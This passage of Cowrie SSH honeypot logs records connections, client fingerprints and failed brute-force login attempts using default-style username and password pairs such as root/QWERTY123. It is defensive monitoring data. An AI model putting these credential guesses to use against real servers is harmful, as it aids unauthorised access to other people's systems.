,"kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:39.488239Z","src_ip":"159.203.92.129","session":"5c35b0f9cb24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Marte","password":"Marte","message":"login attempt [Marte/Marte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:39.499537Z","src_ip":"159.203.92.129","session":"5c35b0f9cb24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:39.848177Z","src_ip":"176.65.139.95","session":"8e70ec0605cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:40.506360Z","src_ip":"159.203.92.129","session":"5c35b0f9cb24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44086,"dst_ip":"159.203.135.109","dst_port":22,"session":"723e400a49d8","protocol":"ssh","message":"New connection: 192.109.200.78:44086 (159.203.135.109:22) [session: 723e400a49d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:41.834763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:41.839002Z","src_ip":"192.109.200.78","session":"723e400a49d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:41.926478Z","src_ip":"192.109.200.78","session":"723e400a49d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:42.595654Z","src_ip":"192.109.200.78","session":"723e400a49d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:43.683122Z","src_ip":"192.109.200.78","session":"723e400a49d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59796,"dst_ip":"159.203.135.109","dst_port":22,"session":"cafd4e6d2d1f","protocol":"ssh","message":"New connection: 176.65.139.95:59796 (159.203.135.109:22) [session: cafd4e6d2d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:45.334304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:45.339163Z","src_ip":"176.65.139.95","session":"cafd4e6d2d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:45.423455Z","src_ip":"176.65.139.95","session":"cafd4e6d2d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:45.711926Z","src_ip":"176.65.139.95","session":"cafd4e6d2d1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44092,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef3785e9cfbf","protocol":"ssh","message":"New connection: 192.109.200.78:44092 (159.203.135.109:22) [session: ef3785e9cfbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:46.145094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:46.149937Z","src_ip":"192.109.200.78","session":"ef3785e9cfbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:46.235679Z","src_ip":"192.109.200.78","session":"ef3785e9cfbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:46.494549Z","src_ip":"192.109.200.78","session":"ef3785e9cfbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:46.800691Z","src_ip":"176.65.139.95","session":"cafd4e6d2d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:47.715208Z","src_ip":"192.109.200.78","session":"ef3785e9cfbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52048,"dst_ip":"159.203.135.109","dst_port":22,"session":"531c05c0a445","protocol":"ssh","message":"New connection: 192.109.200.78:52048 (159.203.135.109:22) [session: 531c05c0a445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:50.295429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:50.479107Z","src_ip":"192.109.200.78","session":"531c05c0a445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:50.484326Z","src_ip":"192.109.200.78","session":"531c05c0a445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:50.848657Z","src_ip":"192.109.200.78","session":"531c05c0a445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:51.939182Z","src_ip":"192.109.200.78","session":"531c05c0a445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":41306,"dst_ip":"159.203.135.109","dst_port":22,"session":"6de983073eae","protocol":"ssh","message":"New connection: 176.65.139.95:41306 (159.203.135.109:22) [session: 6de983073eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:52.310457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:52.327562Z","src_ip":"176.65.139.95","session":"6de983073eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:52.589807Z","src_ip":"176.65.139.95","session":"6de983073eae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:53.084050Z","src_ip":"176.65.139.95","session":"6de983073eae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:54.177504Z","src_ip":"176.65.139.95","session":"6de983073eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52054,"dst_ip":"159.203.135.109","dst_port":22,"session":"69fbdd4c9304","protocol":"ssh","message":"New connection: 192.109.200.78:52054 (159.203.135.109:22) [session: 69fbdd4c9304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:54.568371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:54.572724Z","src_ip":"192.109.200.78","session":"69fbdd4c9304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:54.654301Z","src_ip":"192.109.200.78","session":"69fbdd4c9304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:54.905110Z","src_ip":"192.109.200.78","session":"69fbdd4c9304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:56.283028Z","src_ip":"192.109.200.78","session":"69fbdd4c9304","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52810,"dst_ip":"159.203.135.109","dst_port":22,"session":"38fbc4444ece","protocol":"ssh","message":"New connection: 192.109.200.78:52810 (159.203.135.109:22) [session: 38fbc4444ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:58.914277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:58.959077Z","src_ip":"192.109.200.78","session":"38fbc4444ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:59.010915Z","src_ip":"192.109.200.78","session":"38fbc4444ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:59.327724Z","src_ip":"192.109.200.78","session":"38fbc4444ece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38336,"dst_ip":"159.203.135.109","dst_port":22,"session":"47407b63a3bc","protocol":"ssh","message":"New connection: 176.65.139.95:38336 (159.203.135.109:22) [session: 47407b63a3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:59.560062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:59.567083Z","src_ip":"176.65.139.95","session":"47407b63a3bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:59.657509Z","src_ip":"176.65.139.95","session":"47407b63a3bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:00.020440Z","src_ip":"176.65.139.95","session":"47407b63a3bc","protocol":"ssh"}
